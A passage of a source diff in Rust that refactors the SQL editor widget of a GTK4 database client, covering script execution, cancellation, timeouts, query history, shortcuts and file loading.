self.connect_closure( + "export-results", + false, + glib::closure_local!(move |editor: &Self, payload: glib::BoxedAnyObject| { + let (result, name) = payload.borrow::<(QueryResult, String)>().clone(); + f(editor, result, name); + }), + ) + } - #[wrap(Some)] - set_content = >k::Paned { - set_orientation: gtk::Orientation::Vertical, - set_position: 280, - set_vexpand: true, - set_hexpand: true, + pub fn connect_transaction_changed(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "transaction-changed", + false, + glib::closure_local!(move |editor: &Self, open: bool| f(editor, open)), + ) + } - #[wrap(Some)] - set_start_child = >k::ScrolledWindow { - set_min_content_height: 200, + fn deps(&self) -> Option<&EditorDeps> { + self.imp().deps.get() + } - #[wrap(Some)] - #[name = "source_view"] - set_child = &sourceview5::View { - set_show_line_numbers: true, - set_monospace: true, - set_auto_indent: true, - set_highlight_current_line: true, - set_tab_width: 4, - set_top_margin: 8, - set_bottom_margin: 8, - set_left_margin: 8, - set_right_margin: 8, - }, - }, + /// The SQL grammar of the server the editor is pointed at, which + /// decides where statements begin and end. With no connection the + /// split still has to work, and PostgreSQL's is the strictest. + fn grammar(&self) -> SqlGrammar { + self.deps() + .and_then(|deps| deps.session.get()) + .and_then(|session| session.current_dialect()) + .map_or(SqlGrammar::PostgreSql, |dialect| dialect.grammar()) + } - #[wrap(Some)] - #[name = "results_holder"] - set_end_child = >k::Box { - set_orientation: gtk::Orientation::Vertical, - }, - }, + /// A one-line message where the run summary goes. + fn say(&self, message: &str) { + let results = &self.imp().results; + if !self.is_running() { + results.set_summary(message); } } - fn init(init: Self::Init, root: Self::Root, sender: ComponentSender) -> ComponentParts { - let widgets = view_output!(); + fn execute(&self, scoped: ScopedText) { + let imp = self.imp(); + if self.is_running() || imp.shut_down.get() { + return; + } + let Some(deps) = self.deps() else { + return; + }; + let Some(session) = deps.session.get() else { + self.say(&crate::i18n::gettext("Connect to a database to run a query.")); + return; + }; + let buffer = self.buffer(); + let base_line = usize::try_from( + buffer + .iter_at_offset(i32::try_from(scoped.base_char).unwrap_or(i32::MAX)) + .line(), + ) + .unwrap_or_default(); + let (batches, policy, warnings) = plan_batches(&scoped, self.grammar(), base_line); + if batches.is_empty() { + self.say(&crate::i18n::gettext("There is nothing to run.")); + return; + } + let previews = batches.iter().map(|batch| batch.preview.clone()).collect(); + let run = ScriptRun { + batches, + policy, + statement_timeout: deps.settings.query_timeout(), + row_limit: RowLimit::EDITOR_DEFAULT, + }; + let metadata = session.metadata().clone(); + let started_at = SystemTime::now(); + let cancel = CancellationToken::new(); + let (events, mut received) = tokio::sync::mpsc::channel(8); + drop(deps.tasks.spawn_task(run_in_tab( + session, + imp.slot.clone(), + run, + deps.close_timeout, + cancel.clone(), + events, + ))); + + imp.results.clear(); + imp.results.set_running(true); + imp.results.set_summary(&crate::i18n::gettext("Running…")); + imp.run_button.set_sensitive(false); + imp.stop_button.set_visible(true); + imp.log.replace(Some(RunLog::new(previews, warnings))); + self.show_new_entries(0); + self.emit_by_name::<()>("run-state-changed", &[&true]); + + let weak = self.downgrade(); + let query = scoped.text; + let drain = glib::spawn_future_local(async move { + while let Some(event) = received.recv().await { + let Some(editor) = weak.upgrade() else { + return; + }; + let finished = matches!(event, RunEvent::Finished); + editor.apply_event(event); + if finished { + editor.finish_run(query, &metadata, started_at); + return; + } + } + // The runner ended without saying so, which only a panic + // does; the list still has to end and the tab unlock. + if let Some(editor) = weak.upgrade() { + editor.apply_event(RunEvent::Finished); + editor.finish_run(query, &metadata, started_at); + } + }); + imp.running.replace(Some(RunningScript { cancel, drain })); + } - let actions = relm4::gtk::gio::SimpleActionGroup::new(); - let open_sender = sender.clone(); - let open = relm4::gtk::gio::ActionEntry::builder("open-file") - .activate(move |_, _, _| open_sender.input(SqlEditorInput::OpenFile)) - .build(); - let format_sender = sender.clone(); - let format = relm4::gtk::gio::ActionEntry::builder("format") - .activate(move |_, _, _| format_sender.input(SqlEditorInput::Format)) - .build(); - actions.add_action_entries([open, format]); - root.insert_action_group("editor", Some(&actions)); + fn apply_event(&self, event: RunEvent) { + let before = match self.imp().log.borrow_mut().as_mut() { + Some(log) => log.apply(event), + None => return, + }; + self.show_new_entries(before); + } - let lang_manager = sourceview5::LanguageManager::default(); - let initial_text = init.initial_query.unwrap_or_else(|| "SELECT 1;".to_string()); - if let Some(lang) = lang_manager.language("sql") { - let buffer = sourceview5::Buffer::with_language(&lang); - buffer.set_text(&initial_text); - widgets.source_view.set_buffer(Some(&buffer)); - } else { - widgets.source_view.buffer().set_text(&initial_text); + /// Add the log's lines from `from` on to the results list. + fn show_new_entries(&self, from: usize) { + let imp = self.imp(); + let Some(grid_sender) = imp.grid_sender.get() else { + return; + }; + let log = imp.log.borrow(); + let Some(log) = log.as_ref() else { + return; + }; + for entry in log.entries().get(from..).unwrap_or_default() { + let weak = self.downgrade(); + let widget = result_widgets::entry_widget(entry, grid_sender, move |position| { + if let Some(editor) = weak.upgrade() { + editor.go_to_char(position); + } + }); + imp.results.append(entry, &widget); + } + } + + fn finish_run(&self, query: String, metadata: &tablepro_session::ConnectionMetadata, started_at: SystemTime) { + let imp = self.imp(); + drop(imp.running.take()); + imp.run_button.set_sensitive(true); + imp.stop_button.set_visible(false); + imp.results.set_running(false); + let (summary, label, dirty, first, entry) = { + let log = imp.log.borrow(); + let Some(log) = log.as_ref() else { + return; + }; + ( + log.summary(), + transaction_dirty::transaction_label(log.transaction()), + transaction_dirty::transaction_dirty(log.lost(), log.transaction(), log.has_run()), + log.first_to_show(), + run_history::history_entry(query, metadata, started_at, log), + ) + }; + imp.results.set_summary(&summary); + imp.results.set_transaction(label.as_deref()); + if let Some(first) = first.and_then(|first| u32::try_from(first).ok()) { + imp.results.select(first); + } + if imp.transaction_dirty.replace(dirty) != dirty { + self.emit_by_name::<()>("transaction-changed", &[&dirty]); } - widgets.source_view.add_css_class("sql-editor"); - widgets.source_view.set_monospace(true); + self.record_history(entry); + self.emit_by_name::<()>("run-state-changed", &[&false]); + } - let settings = init.settings.clone(); - crate::ui::style_scheme_resolver::apply(&widgets.source_view, &settings.style_scheme()); - let view_for_theme = widgets.source_view.clone(); + fn record_history(&self, entry: tablepro_storage::query_history::NewEntry) { + let Some(deps) = self.deps() else { + return; + }; + let Some(history) = deps.history.clone() else { + return; + }; + drop(deps.tasks.spawn_task(async move { + if let Err(error) = history.record(entry).await { + tracing::warn!(%error, "history record failed"); + } + })); + } + + /// Put the cursor where the server says a statement went wrong. + fn go_to_char(&self, position: usize) { + let imp = self.imp(); + let buffer = self.buffer(); + let iter = buffer.iter_at_offset(i32::try_from(position).unwrap_or(i32::MAX)); + buffer.place_cursor(&iter); + imp.source_view.scroll_mark_onscreen(&buffer.get_insert()); + imp.source_view.grab_focus(); + } + + fn connect_theme(&self, settings: &Rc) { + let view = self.imp().source_view.get(); + view.set_monospace(true); + crate::ui::style_scheme_resolver::apply(&view, &settings.style_scheme()); + let view_for_theme = view.downgrade(); let settings_for_theme = settings.clone(); adw::StyleManager::default().connect_dark_notify(move |_| { - crate::ui::style_scheme_resolver::apply(&view_for_theme, &settings_for_theme.style_scheme()); + if let Some(view) = view_for_theme.upgrade() { + crate::ui::style_scheme_resolver::apply(&view, &settings_for_theme.style_scheme()); + } }); - let view_for_scheme = widgets.source_view.clone(); + let view_for_scheme = view.downgrade(); settings.gio().connect_changed( Some(tablepro_storage::settings::keys::STYLE_SCHEME), move |settings, key| { - crate::ui::style_scheme_resolver::apply(&view_for_scheme, &settings.string(key)); + if let Some(view) = view_for_scheme.upgrade() { + crate::ui::style_scheme_resolver::apply(&view, &settings.string(key)); + } }, ); - - crate::ui::editor_font_provider::apply(&settings); - let settings_for_font = settings.clone(); + crate::ui::editor_font_provider::apply(settings); for key in [ tablepro_storage::settings::keys::USE_SYSTEM_FONT, tablepro_storage::settings::keys::CUSTOM_FONT, ] { - let settings_for_key = settings_for_font.clone(); + let settings_for_key = settings.clone(); settings.gio().connect_changed(Some(key), move |_, _| { crate::ui::editor_font_provider::apply(&settings_for_key); }); } + } + fn connect_completion(&self, schema_buffer: >k4::TextBuffer, buffer: &sourceview5::Buffer) { let provider = sourceview5::CompletionWords::new(Some("SQL")); - provider.register(&init.schema_buffer); - if let Ok(view_buffer) = widgets.source_view.buffer().downcast::() { - provider.register(&view_buffer); - } - let completion = widgets.source_view.completion(); - completion.add_provider(&provider); + provider.register(schema_buffer); + provider.register(buffer); + self.imp().source_view.completion().add_provider(&provider); + } - let cursor_info = widgets.cursor_info.clone(); - let view_for_cursor = widgets.source_view.clone(); - let update_cursor = move || { - let buffer = view_for_cursor.buffer(); - let mark = buffer.get_insert(); - let iter = buffer.iter_at_mark(&mark); - let line = iter.line() + 1; - let col = iter.line_offset() + 1; - cursor_info.set_label(&format!("Ln {line}, Col {col}")); + fn connect_buffer(&self, buffer: &sourceview5::Buffer) { + let imp = self.imp(); + let cursor_info = imp.cursor_info.get(); + let update_cursor = move |buffer: &sourceview5::Buffer| { + let iter = buffer.iter_at_mark(&buffer.get_insert()); + cursor_info.set_label(&crate::i18n::gettext_f( + "Ln {line}, Col {column}", + &[ + ("line", &(iter.line() + 1).to_string()), + ("column", &(iter.line_offset() + 1).to_string()), + ], + )); }; - update_cursor(); - widgets - .source_view - .buffer() - .connect_cursor_position_notify(move |_| update_cursor()); + update_cursor(buffer); + buffer.connect_cursor_position_notify(move |buffer| update_cursor(buffer)); - let view_for_change = widgets.source_view.clone(); - let sender_for_change = sender.clone(); - widgets.source_view.buffer().connect_changed(move |_| { - let buffer = view_for_change.buffer(); - let (start, end) = buffer.bounds(); - let text = buffer.text(&start, &end, false).to_string(); - let _ = sender_for_change.output(SqlEditorOutput::QueryChanged(text)); - }); - - let run_shortcut = gtk::Shortcut::builder() - .trigger(>k::KeyvalTrigger::new( - gtk::gdk::Key::Return, - gtk::gdk::ModifierType::CONTROL_MASK, - )) - .action(>k::CallbackAction::new({ - let sender = sender.clone(); - move |_, _| { - sender.input(SqlEditorInput::Run); - glib::Propagation::Stop - } - })) - .build(); - // Esc cancels a running query. The editor tab isn't a dialog - // so Esc is otherwise unbound, and keyboard parity with the - // Run shortcut matters most when the user is trying to stop - // a runaway query and shouldn't have to hunt the small flat - // Cancel button. The Cancel handler no-ops when nothing is - // running, so binding unconditionally is safe. - let cancel_shortcut = gtk::Shortcut::builder() - .trigger(>k::KeyvalTrigger::new( - gtk::gdk::Key::Escape, - gtk::gdk::ModifierType::empty(), - )) - .action(>k::CallbackAction::new({ - let sender = sender.clone(); - move |_, _| { - sender.input(SqlEditorInput::Cancel); - glib::Propagation::Stop - } - })) - .build(); - // Ctrl+Shift+F — reformat the buffer in place. Matches the - // standard IDE shortcut (DataGrip, IntelliJ, VS Code SQL - // extensions) so users don't have to relearn it. Lives on the - // source-view controller so it only fires when the editor has - // focus; window-scoped Ctrl+F is "Find in results". - let format_shortcut = gtk::Shortcut::builder() - .trigger(>k::KeyvalTrigger::new( - gtk::gdk::Key::f, - gtk::gdk::ModifierType::CONTROL_MASK | gtk::gdk::ModifierType::SHIFT_MASK, - )) - .action(>k::CallbackAction::new({ - let sender = sender.clone(); - move |_, _| { - sender.input(SqlEditorInput::Format); - glib::Propagation::Stop - } - })) - .build(); - // Ctrl+Shift+Return — run only the statement under the - // cursor. Standard DataGrip / DBeaver behaviour for - // multi-statement scripts: the user keeps several queries in - // one buffer, parks the cursor on one, runs just that. - let run_at_cursor_shortcut = gtk::Shortcut::builder() - .trigger(>k::KeyvalTrigger::new( - gtk::gdk::Key::Return, - gtk::gdk::ModifierType::CONTROL_MASK | gtk::gdk::ModifierType::SHIFT_MASK, - )) - .action(>k::CallbackAction::new({ - let sender = sender.clone(); - move |_, _| { - sender.input(SqlEditorInput::RunAtCursor); - glib::Propagation::Stop - } - })) - .build(); - // Ctrl+/ — toggle SQL line-comment for the selected lines. - // Standard IDE shortcut (VS Code, IntelliJ, Sublime, etc.) - // so users don't have to relearn it. Walks the selection, - // commenting all lines if any are uncommented, otherwise - // uncommenting all. Wrapped in begin/end_user_action so it's - // a single undo step regardless of how many lines toggle. - let toggle_comment_shortcut = gtk::Shortcut::builder() - .trigger(>k::KeyvalTrigger::new( - gtk::gdk::Key::slash, - gtk::gdk::ModifierType::CONTROL_MASK, - )) - .action(>k::CallbackAction::new({ - let sender = sender.clone(); - move |_, _| { - sender.input(SqlEditorInput::ToggleLineComment); - glib::Propagation::Stop - } - })) - .build(); - let controller = gtk::ShortcutController::new(); - controller.add_shortcut(run_shortcut); - controller.add_shortcut(cancel_shortcut); - controller.add_shortcut(format_shortcut); - controller.add_shortcut(run_at_cursor_shortcut); - controller.add_shortcut(toggle_comment_shortcut); - widgets.source_view.add_controller(controller); - - let drop_target = gtk::DropTarget::new(gtk::gio::File::static_type(), gtk::gdk::DragAction::COPY); - let view_for_drop = widgets.source_view.clone(); - drop_target.connect_drop(move |_, value, _, _| { - if let Ok(file) = value.get::() - && let Some(path) = file.path() - && let Ok(text) = std::fs::read_to_string(&path) - { - let buffer = view_for_drop.buffer(); - let (start, end) = buffer.bounds(); - let existing_empty = buffer.text(&start, &end, false).trim().is_empty(); - if existing_empty { - // Empty buffer: replace wholesale — most natural - // for "open this SQL file in the editor". - buffer.set_text(&text); - } else { - // Non-empty buffer: insert at cursor. Replacing - // would silently destroy whatever the user had - // typed, which fails GNOME Builder / Text Editor - // expectations for drag-and-drop. Insert is - // additive and undoable via Ctrl+Z. - buffer.insert_at_cursor(&text); - } - return true; + let weak = self.downgrade(); + buffer.connect_changed(move |buffer| { + if let Some(editor) = weak.upgrade() { + editor.emit_by_name::<()>("query-changed", &[&buffer_text(buffer)]); } - false }); - widgets.source_view.add_controller(drop_target); - let (grid_sender, grid_receiver) = relm4::channel::(); - glib::spawn_future_local(grid_receiver.forward(sender.input_sender().clone(), SqlEditorInput::Grid)); - - let model = SqlEditor { - settings, - history: init.history.clone(), - tasks: init.tasks.clone(), - source_view: widgets.source_view.clone(), - run_button: widgets.run_button.clone(), - cancel_button: widgets.cancel_button.clone(), - running_spinner: widgets.running_spinner.clone(), - results_holder: widgets.results_holder.clone(), - status: widgets.status.clone(), - grid_sender, - cancel_token: None, - executing_sql: None, - executing_metadata: None, - executing_started_at: None, + let run_button = imp.run_button.get(); + let update_label = move |buffer: &sourceview5::Buffer| { + if buffer.has_selection() { + run_button.set_label(&crate::i18n::gettext("Run Selection")); + run_button.set_tooltip_text(Some(&crate::i18n::gettext("Run the selected text (Ctrl+Return)"))); + } else { + run_button.set_label(&crate::i18n::gettext("Run")); + run_button.set_tooltip_text(Some(&crate::i18n::gettext("Run the script (Ctrl+Return)"))); + } }; - ComponentParts { model, widgets } + buffer.connect_has_selection_notify(move |buffer| update_label(buffer)); } - fn update(&mut self, msg: Self::Input, sender: ComponentSender) { - match msg { - SqlEditorInput::Run => { - let buffer = self.source_view.buffer(); - let (start, end) = buffer.bounds(); - let sql = buffer.text(&start, &end, false).to_string(); - let trimmed = sql.trim().to_string(); - if trimmed.is_empty() { - self.status.set_label(&crate::i18n::gettext("empty query")); - return; - } - self.execute_sql(trimmed, sender); - } - - SqlEditorInput::ToggleLineComment => { - toggle_line_comment(&self.source_view.buffer()); + fn connect_buttons(&self) { + let imp = self.imp(); + let weak = self.downgrade(); + imp.run_button.connect_clicked(move |_| { + if let Some(editor) = weak.upgrade() { + editor.run(); } - - SqlEditorInput::Grid(GridMsg::CopyToClipboard(text)) => { - let _ = sender.output(SqlEditorOutput::CopyToClipboard(text)); - } - SqlEditorInput::Grid(GridMsg::ShowToast(text)) => { - let _ = sender.output(SqlEditorOutput::ShowToast(text)); - } - SqlEditorInput::Grid(GridMsg::ExportResults(result)) => { - let buffer = self.source_view.buffer(); - let (start, end) = buffer.bounds(); - let name = export_name_for_query(&buffer.text(&start, &end, false)); - let _ = sender.output(SqlEditorOutput::ExportResults { result, name }); + }); + let weak = self.downgrade(); + imp.stop_button.connect_clicked(move |_| { + if let Some(editor) = weak.upgrade() { + editor.stop(); } - SqlEditorInput::Grid(_) => {} + }); + imp.menu_button.set_icon_name(crate::ui::icons::VIEW_MORE); + } - SqlEditorInput::RunAtCursor => { - // The user keeps several queries in one buffer and - // parks the cursor on one to run just that. The script - // plan decides where that statement starts and ends, - // so a dollar-quoted body or a `GO` batch is one - // statement rather than several. - let buffer = self.source_view.buffer(); - let (start, end) = buffer.bounds(); - let sql = buffer.text(&start, &end, false).to_string(); - let grammar = self.grammar(); - let plan = statement_cursor::plan_for(&sql, grammar); - let cursor_char = buffer.iter_at_mark(&buffer.get_insert()).offset().max(0) as usize; - let statement = statement_cursor::statement_bounds_at(&buffer, &plan, &sql, cursor_char) - .map(|(from, to)| (buffer.text(&from, &to, false).to_string(), from, to)) - .filter(|(text, _, _)| !text.trim().is_empty()); - let Some((text, from, to)) = statement else { - self.status.set_label(&crate::i18n::gettext("No statement at cursor")); + /// Context-menu actions from a result grid. + fn connect_grid(&self) { + let (sender, receiver) = relm4::channel::(); + let _ = self.imp().grid_sender.set(sender); + let weak = self.downgrade(); + glib::spawn_future_local(async move { + while let Some(message) = receiver.recv().await { + let Some(editor) = weak.upgrade() else { return; }; - // Selecting it says which of the queries in the buffer - // is the one that ran. - buffer.select_range(&from, &to); - self.execute_sql(text.trim().to_owned(), sender); - } - - SqlEditorInput::OpenFile => { - let buffer = self.source_view.buffer(); - let (start, end) = buffer.bounds(); - let occupied = !buffer.text(&start, &end, false).trim().is_empty(); - if occupied { - // Loading replaces what is in the tab, and the tab - // is where the user's unrun work lives. - let dialog = adw::AlertDialog::new( - Some(&crate::i18n::gettext("Replace the editor contents?")), - Some(&crate::i18n::gettext( - "The file is loaded into this tab, and what is written here now is replaced.", - )), - ); - dialog.add_response("cancel", &crate::i18n::gettext("Cancel")); - dialog.add_response("replace", &crate::i18n::gettext("Replace")); - dialog.set_default_response(Some("cancel")); - dialog.set_close_response("cancel"); - let ask_sender = sender.clone(); - dialog.connect_response(None, move |dialog, response| { - dialog.close(); - if response == "replace" { - choose_sql_file(&ask_sender); - } - }); - dialog.present(Some(&self.source_view)); - } else { - choose_sql_file(&sender); - } - } - - SqlEditorInput::FileLoaded(text) => match text { - Some(text) => { - self.source_view.buffer().set_text(&text); - self.status.set_label(&crate::i18n::gettext("File loaded")); - } - None => self - .status - .set_label(&crate::i18n::gettext("The file could not be read as text")), - }, - - SqlEditorInput::Cancel => { - if let Some(token) = self.cancel_token.take() { - token.cancel(); - } - } - - SqlEditorInput::ShowOutcomes(outcomes) => { - self.cancel_token = None; - self.run_button.set_sensitive(true); - self.cancel_button.set_visible(false); - self.running_spinner.set_visible(false); - let _ = sender.output(SqlEditorOutput::RunStateChanged(false)); - - let total_ms: u128 = outcomes.iter().map(|o| o.elapsed_ms).sum(); - let n_total = outcomes.len(); - let n_ok = outcomes - .iter() - .filter(|o| matches!(o.kind, StatementOutcomeKind::Rows(_))) - .count(); - let first_error = outcomes.iter().find_map(|o| match &o.kind { - StatementOutcomeKind::Error(msg) => Some(msg.clone()), - _ => None, - }); - - // History records the whole script as one entry. - // rows_affected aggregates across SELECT outcomes - // (NULL for scripts containing only DML). - let total_rows: i64 = outcomes - .iter() - .filter_map(|o| match &o.kind { - StatementOutcomeKind::Rows(qr) => Some(qr.rows.len() as i64), - _ => None, - }) - .sum(); - let history_outcome = match &first_error { - Some(msg) => Outcome::Error(msg.clone()), - None => Outcome::Success, - }; - let rows_for_history = if total_rows > 0 { Some(total_rows) } else { None }; - self.record_history(total_ms as i64, rows_for_history, history_outcome); - - self.status - .set_label(&summary_label(n_total, n_ok, total_ms, first_error.is_some())); - clear_box(&self.results_holder); - render_outcomes(&self.results_holder, &outcomes, &self.grid_sender); - } - - SqlEditorInput::ShowCancelled => { - self.cancel_token = None; - self.run_button.set_sensitive(true); - self.cancel_button.set_visible(false); - self.running_spinner.set_visible(false); - let _ = sender.output(SqlEditorOutput::RunStateChanged(false)); - let elapsed = self - .executing_started_at - .and_then(|t| SystemTime::now().duration_since(t).ok()) - .map(|d| d.as_millis() as i64) - .unwrap_or(0); - self.record_history(elapsed, None, Outcome::Cancelled); - self.status.set_label(&crate::i18n::gettext("cancelled")); - clear_box(&self.results_holder); - let cancelled_page = adw::StatusPage::builder() - .title(crate::i18n::gettext("Query cancelled")) - .description(crate::i18n::gettext("The running query was stopped.")) - .icon_name(crate::ui::icons::PROCESS_STOP) - .vexpand(true) - .build(); - self.results_holder.append(&cancelled_page); - } - - SqlEditorInput::ShowTimedOut(secs) => { - self.cancel_token = None; - self.run_button.set_sensitive(true); - self.cancel_button.set_visible(false); - self.running_spinner.set_visible(false); - let _ = sender.output(SqlEditorOutput::RunStateChanged(false)); - let elapsed = self - .executing_started_at - .and_then(|t| SystemTime::now().duration_since(t).ok()) - .map(|d| d.as_millis() as i64) - .unwrap_or(0); - let secs_str = secs.to_string(); - let reason = crate::i18n::gettext_f( - "Query exceeded the {n}s timeout configured in Preferences.", - &[("n", &secs_str)], - ); - self.record_history(elapsed, None, Outcome::Error(reason.clone())); - self.status.set_label(&crate::i18n::gettext("timed out")); - clear_box(&self.results_holder); - let page = adw::StatusPage::builder() - .title(crate::i18n::gettext("Query timed out")) - .description(&reason) - .icon_name(crate::ui::icons::DIALOG_WARNING) - .vexpand(true) - .build(); - self.results_holder.append(&page); - } - - SqlEditorInput::ReplaceQuery(text) => { - self.source_view.buffer().set_text(&text); - } - - SqlEditorInput::Format => { - // Formatting runs per statement so anything sqlformat - // would change the meaning of stays as the user typed - // it, and so the lines between statements survive. - // Empty buffers no-op: the formatter returns the same - // empty string but `set_text` would still bump the - // change marker. - let buffer = self.source_view.buffer(); - let (start, end) = buffer.bounds(); - let text = buffer.text(&start, &end, false).to_string(); - if text.trim().is_empty() { - return; - } - let grammar = database_service::instance() - .active_metadata() - .map(|metadata| tablepro_core::dialect::grammar_for(&metadata.driver_id)) - .unwrap_or(tablepro_core::sql_syntax::SqlGrammar::PostgreSql); - let settings = tablepro_core::sql_syntax::script::LexicalSettings::default_for(grammar); - let formatted = format_plan::format_script(&text, grammar, settings); - if formatted == text { - return; + match message { + GridMsg::CopyToClipboard(text) => editor.emit_by_name::<()>("copy-to-clipboard", &[&text]), + GridMsg::ShowToast(text) => editor.emit_by_name::<()>("toast", &[&text]), + GridMsg::ExportResults(result) => { + let name = export_name_for_query(&editor.selected_preview()); + let payload = glib::BoxedAnyObject::new((result, name)); + editor.emit_by_name::<()>("export-results", &[&payload]); + } + _ => {} } - // The cursor lands at the start because every byte - // offset before it has moved; Ctrl+Z puts the old text - // back. - buffer.set_text(&formatted); } - } + }); } -} -impl SqlEditor { - /// The SQL grammar of the connection the editor is pointed at, - /// which decides where statements begin and end. - fn grammar(&self) -> tablepro_core::sql_syntax::SqlGrammar { - database_service::instance() - .active_metadata() - .map(|metadata| tablepro_core::dialect::grammar_for(&metadata.driver_id)) - .unwrap_or(tablepro_core::sql_syntax::SqlGrammar::PostgreSql) + /// The statement behind the result on screen, to name its export. + fn selected_preview(&self) -> String { + let imp = self.imp(); + let index = imp.results.selected().unwrap_or(0) as usize; + imp.log + .borrow() + .as_ref() + .and_then(|log| log.entries().get(index).map(|entry| entry.preview.clone())) + .unwrap_or_default() } - /// The text buffer, so the draft writer can read the script once - /// per write rather than carrying a copy of it per keystroke. - pub fn buffer(&self) -> gtk::TextBuffer { - self.source_view.buffer() + fn install_actions(&self) { + let actions = gio::SimpleActionGroup::new(); + let weak = self.downgrade(); + let open = gio::ActionEntry::builder("open-file") + .activate(move |_: &gio::SimpleActionGroup, _, _| { + if let Some(editor) = weak.upgrade() { + editor.open_file(); + } + }) + .build(); + let weak = self.downgrade(); + let format = gio::ActionEntry::builder("format") + .activate(move |_: &gio::SimpleActionGroup, _, _| { + if let Some(editor) = weak.upgrade() { + editor.format(); + } + }) + .build(); + actions.add_action_entries([open, format]); + self.insert_action_group("editor", Some(&actions)); } - /// Dispatch a pre-trimmed non-empty SQL string into the run path. - /// Both `Run` (whole buffer) and `RunAtCursor` (single statement - /// under cursor) funnel through here so the UI-state setup - /// (cancel token, spinner, status, history-recording context) - /// stays in one place and can't drift between the two callers. - fn execute_sql(&mut self, trimmed: String, sender: ComponentSender) { - let conn = match database_service::instance().active() { - Some(c) => c, - None => { - self.status.set_label(&crate::i18n::gettext("no active connection")); - return; - } + fn install_shortcuts(&self) { + let controller = gtk4::ShortcutController::new(); + let shortcut = |key, modifiers, act: fn(&SqlEditor)| { + let weak = self.downgrade(); + gtk4::Shortcut::builder() + .trigger(>k4::KeyvalTrigger::new(key, modifiers)) + .action(>k4::CallbackAction::new(move |_, _| { + if let Some(editor) = weak.upgrade() { + act(&editor); + } + glib::Propagation::Stop + })) + .build() }; + let control = gtk4::gdk::ModifierType::CONTROL_MASK; + let control_shift = control | gtk4::gdk::ModifierType::SHIFT_MASK; + controller.add_shortcut(shortcut(gtk4::gdk::Key::Return, control, SqlEditor::run)); + // Esc stops a running query; the editor is not a dialog, so Esc + // is otherwise free, and it is the key a user reaches for when a + // query runs away. + controller.add_shortcut(shortcut( + gtk4::gdk::Key::Escape, + gtk4::gdk::ModifierType::empty(), + SqlEditor::stop, + )); + controller.add_shortcut(shortcut(gtk4::gdk::Key::f, control_shift, SqlEditor::format)); + controller.add_shortcut(shortcut( + gtk4::gdk::Key::Return, + control_shift, + SqlEditor::run_at_cursor, + )); + controller.add_shortcut(shortcut(gtk4::gdk::Key::slash, control, |editor| { + toggle_line_comment(&editor.buffer()); + })); + self.imp().source_view.add_controller(controller); + } - if let Some(prev) = self.cancel_token.take() { - prev.cancel(); - } - let token = CancellationToken::new(); - self.cancel_token = Some(token.clone()); - - self.run_button.set_sensitive(false); - self.cancel_button.set_visible(true); - self.running_spinner.set_visible(true); - self.status.set_label(&crate::i18n::gettext("Running…")); - clear_box(&self.results_holder); - let _ = sender.output(SqlEditorOutput::RunStateChanged(true)); - - self.executing_sql = Some(trimmed.clone()); - self.executing_metadata = database_service::instance().active_metadata(); - self.executing_started_at = Some(SystemTime::now()); - - let statements = statement_cursor::script_statements(&trimmed, self.grammar()); - let timeout = self.settings.query_timeout(); - let timeout_secs = timeout.map_or(0, |duration| duration.as_secs() as u32); - let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - let statements = statements.clone(); - shutdown - .register(async move { - // A `query_timeout_secs == 0` user opt-out turns - // the timeout branch off by holding a future that - // never resolves. Otherwise the tokio sleep races - // against `cancelled()` and `run_statements()`; - // first to finish wins. - let timeout: std::pin::Pin + Send>> = match timeout { - Some(duration) => Box::pin(tokio::time::sleep(duration)), - None => Box::pin(std::future::pending::<()>()), - }; - // The cancel token is the editor's own signal - // channel — the driver does not subscribe to it - // (sqlx has no future-drop cancellation hook for - // Postgres / MySQL). When the timeout wins, we - // *also* fire `token.cancel()` so any outer logic - // (pool shutdown, connection monitor) sees the - // same "abandoned" signal as a manual Cancel, - // and the future drops on the next poll. - let token_for_timeout = token.clone(); - let msg = tokio::select! { - biased; - _ = token.cancelled() => SqlEditorInput::ShowCancelled, - _ = timeout => { - token_for_timeout.cancel(); - SqlEditorInput::ShowTimedOut(timeout_secs) - } - outcomes = run_statements(conn, statements) => { - let total_ms: u128 = outcomes.iter().map(|o| o.elapsed_ms).sum(); - let n_ok = outcomes - .iter() - .filter(|o| matches!(o.kind, StatementOutcomeKind::Rows(_))) - .count(); - let n_err = outcomes - .iter() - .filter(|o| matches!(o.kind, StatementOutcomeKind::Error(_))) - .count(); - tracing::info!(n_ok, n_err, total_ms, "script run complete"); - SqlEditorInput::ShowOutcomes(outcomes) - } - }; - sender_clone.input(msg); - }) - .drop_on_shutdown() + fn install_drop_target(&self) { + let target = gtk4::DropTarget::new(gio::File::static_type(), gtk4::gdk::DragAction::COPY); + let weak = self.downgrade(); + target.connect_drop(move |_, value, _, _| { + let (Ok(file), Some(editor)) = (value.get::(), weak.upgrade()) else { + return false; + }; + // Adding to what is there keeps the user's work; Ctrl+Z + // takes the drop back. + glib::spawn_future_local(async move { editor.insert_file(file, false).await }); + true }); + self.imp().source_view.add_controller(target); } - fn record_history(&mut self, duration_ms: i64, rows_affected: Option, outcome: Outcome) { - let (Some(query), Some(metadata), Some(started_at)) = ( - self.executing_sql.take(), - self.executing_metadata.take(), - self.executing_started_at.take(), - ) else { + fn open_file(&self) { + if buffer_text(&self.buffer()).trim().is_empty() { + self.choose_file(); return; - }; - let entry = NewEntry { - query, - driver_id: metadata.driver_id, - connection_id: metadata.id, - connection_name: metadata.name, - executed_at: started_at, - duration_ms: Some(duration_ms), - rows_affected, - outcome, - }; - let Some(history) = self.history.clone() else { - return; - }; - self.tasks.spawn_task(async move { - if let Err(error) = history.record(entry).await { - tracing::warn!(%error, "history record failed"); + } + // Loading replaces what is in the tab, which is where the user's + // unrun work lives, so it asks first. + let dialog = adw::AlertDialog::new( + Some(&crate::i18n::gettext("Replace the Editor Contents?")), + Some(&crate::i18n::gettext( + "The file is loaded into this tab, and what is written here now is replaced. Undo brings it back.", + )), + ); + dialog.add_response("cancel", &crate::i18n::gettext("Cancel")); + dialog.add_response("replace", &crate::i18n::gettext("Replace")); + dialog.set_default_response(Some("cancel")); + dialog.set_close_response("cancel"); + let weak = self.downgrade(); + dialog.connect_response(Some("replace"), move |_, _| { + if let Some(editor) = weak.upgrade() { + editor.choose_file(); } }); + dialog.present(Some(self)); } -} -fn clear_box(b: >k::Box) { - while let Some(child) = b.first_child() { - b.remove(&child); - } -} - -async fn run_statements( - conn: std::sync::Arc, - statements: Vec, -) -> Vec { - if statements.is_empty() { - return Vec::new(); - } - let mut out = Vec::with_capacity(statements.len()); - let mut aborted = false; - for sql in statements.into_iter() { - let preview = sql_preview(&sql); - if aborted { - out.push(StatementOutcome { - sql_preview: preview, - elapsed_ms: 